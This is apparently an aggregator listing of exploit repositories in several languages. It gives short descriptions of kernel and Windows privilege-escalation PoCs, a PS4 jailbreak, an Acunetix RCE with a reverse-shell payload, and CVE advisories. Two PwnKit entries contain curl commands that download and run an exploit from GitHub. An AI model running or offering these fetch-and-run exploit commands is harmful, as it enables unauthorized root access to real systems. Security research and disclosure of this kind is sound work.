tpwn

tpwn cve-2015-???? PoC os x 10.10.5 カーネルローカル特権昇格 この脆弱性は 10.11 で潰された 完全な writeup は etason hax してくれた unthreadedjb に shout out tpwn やその他の NULL Pointer Deference バグから身を守るには NULLGuard をインストール...

PS4-5.05-Kernel-Exploit

PS4 5.05 カーネルエクスプロイト 概要 このプロジェクトには、PlayStation 4 の 5.05 向けの 2 つ目の "bpf" カーネルエクスプロイトの完全な実装が含まれています。これにより、カーネルとして任意のコードを実行し、システムのジェイルブレイクやカーネルレベルの変更が可能になります。このエクスプロイトには、Mira と Vortex の HEN ペイロードの自動起動コードも含まれています。以降の起動では、通常のペイロードランチャーが起動します。 このバグは qwertyoruiopz によって発見され、彼のウェブサイト こちら...

tcp-zerocopy-sm

Investigation is closed. Working fork: https://github.com/soumarcelino/Root-My-Galaxy-SM-S918B Read this - https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/issues/160issuecomment-5227077583 Attempts to cause rights elevation w GhostLock via TCP Zerocopy. Designed expecially for 5.15. samsung...

ESCepcion

🛡️ ESCepcion Active Directory Certificate Services 監査ツール ESCepcion は、Active Directory Certificate Services（AD CS） インフラストラクチャの脆弱性を監査・評価するためのオープンソースツールです。企業環境およびハイブリッド環境における誤検知を厳密に減らすことに重点を置き、権限昇格パス（ESC）の検出を自動化するように設計されています。 他のツールとは異なり、ESCepcion は Active Directory 内のオブジェクトを悪用・変更・書き込みしません...

token-priv

EoPのためのトークン特権の悪用 2017年8月 Bryan Alexander @dronesec Stephen Breen @breenmachine このリポジトリには、トークン特権を悪用して権限を昇格させる研究に関する全コードとPhrack形式の論文が含まれています。質問、アイデア、批判、バグ報告などがあれば、お気軽にお知らせください。 このリポジトリは3つの部分で構成されています。 lib/ — 補助スクリプトを含みます（現時点ではpykdトークンスクリプトのみ） poptoke/ —...

GhostLock-OPPO-PCKM00

GhostLock — OPPO PCKM00 4.14.180 PoC CVE-2026-43499 GhostLock — Linuxカーネルfutex優先度継承における use-after-freeを利用したローカル権限昇格PoC。OPPO PCKM00 OP4A57, SM6150, Android 11, kernel 4.14.180-perf+ 向けに移植。 DISCLAIMER / 免責事項 このプロジェクトは認可されたセキュリティ研究および教育目的のみ を対象としています。 所有していないデバイス、または明示的にテストを許可されていないデバイスでは使用しないでください。...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE 使い方 スクリプトを で実行します。 root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 4444 Exploit...

Win10Pcap-Exploit

Win10Pcap-Exploit 致谢 https://twitter.com/R00tkitSMM [email protected] telegram 用户名：https://telegram.me/firozi 不久前，我在 win10pcap 驱动程序中发现了可导致权限提升的漏洞。我已报告该漏洞，现在该 bug 已修复： www.win10pcap.org/download/ 因此我决定发布示例漏洞利用代码 Win10Pcap 是一个基于 WinPcap 的新型以太网数据包捕获库。 与原始 WinPcap 不同，Win10Pcap 兼容 NDIS 6.x...

uacscript

Windows Script Host における UAC バイパスの脆弱性 Windows Script Host の実行可能ファイルには、埋め込みマニフェストが欠如していることに起因する脆弱性があります。 別のエクスプロイトを利用することで、"wusa.exe" と "makecab.exe" のファイルの組み合わせを Windows フォルダーにコピーできます。 マニフェストとスクリプト ホストのコピーにより、コピーされたスクリプト ホストを実行し、UAC 設定が既定の場合には UAC の警告メッセージをバイパスすることが可能になります。 ZDI と Microsoft...

CVE-2024-48590

CVE-2024-48590 Vulnerability Disclosure: SSRF in Inflectra SpiraTeam 7.2.00 Description Inflectra SpiraTeam version 7.2.00 is vulnerable to Server-Side Request Forgery SSRF through the NewsReaderService component. Vulnerability Type Server-Side Request Forgery SSRF Vendor Inflectra Affected Produ...

slui-file-handler-hijack-privilege-escalation

Slui ファイルハンドラハイジャック LPE エクスプロイト情報| ---|--- 日付| 15.01.2018 パッチ適用済み| Windows 10 20H1 19041 exploit-db| 44830 テスト済み| Windows 8-10、x86/x64 非依存 説明 slui.exe は自動昇格バイナリであり、ファイルハンドラのハイジャックに対して脆弱です。 実行時に HKCU\Software\Classes\exefile\shell\open...

VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "ペネトレーションテストラボのWriteup — 偵察からroot権限取得までの攻撃チェーン全体を記録。" 🔓 VulnHub — DC-1 Boot-to-Root Writeup 難易度: 初級～中級 プラットフォーム: VulnHub 目標: 4つのフラグをすべて取得し、完全なroot権限を獲得する 攻撃機OS: Kali Linux（VirtualBox — NATネットワーク） ターゲットOS: Debian Linux（Drupal 7 CMS） 📌 目次 1. ラボ環境 2. 偵察と列挙 3. エクスプロイト — リモートコード実行 ...

GhostLock

GhostLock - Explotación de elevación de privilegios local CVE-2026-43499 Resumen de la vulnerabilidad ID CVE: CVE-2026-43499 Tipo de vulnerabilidad: UAF Use-After-Free en pila de futex PI herencia de prioridad Alcance: kernel de Linux 6.1 6.12 Android GKI Efecto: elevación de privilegios local +...

OVSwrap

OVSwrap CVE-2026-64531 解説 !WARNING このPoCは、防御者、保守担当者、および明示的にテストを許可された セキュリティチームが、所有または明示的なテスト許可を得たシステム上で、 パッチ、緩和策、検出、および露出を検証することを唯一の目的として提供されます。 この資料の使用が、合法的であり、許可されたものであり、管理された状態で、 隔離されたテスト環境で実施されることを保証する責任は、すべて利用者にあります。 !WARNING このPoCは破壊的です。 成功すると、稼働中のカーネル資格情報を破壊し、 /etc/sudoers.d または /etc/sudoe...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — ScadaBR脆弱性分析 技術的な脆弱性分析と、オープンソースのScadaBR SCADA/HMIプラットフォーム に影響を与えるCVE-2026-9645 に関するCVEブリーフィングです。 概要 CVE-2026-9645 は、ScadaBR における重大な認証済みリモートコード実行の脆弱性です。 作成済みのブリーフィングによると： 深刻度： 重大 CVSS v3.1： 9.9 脆弱性タイプ： 認証済みリモートコード実行 CWE： CWE-78 — OSコマンドインジェクション 影響を受ける製品： ScadaBR 必要なアクセス権：...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2026-8303

Incorrect privilege assignment vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus-software allows Privilege Escalation. This issue affects Pardus-software: before 1.0.5...

CVE-2026-38056

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs,...

PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running...

CVE-2026-38056 ST Engineering iDirect iQ-Series Terminals Missing Authorization

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs,...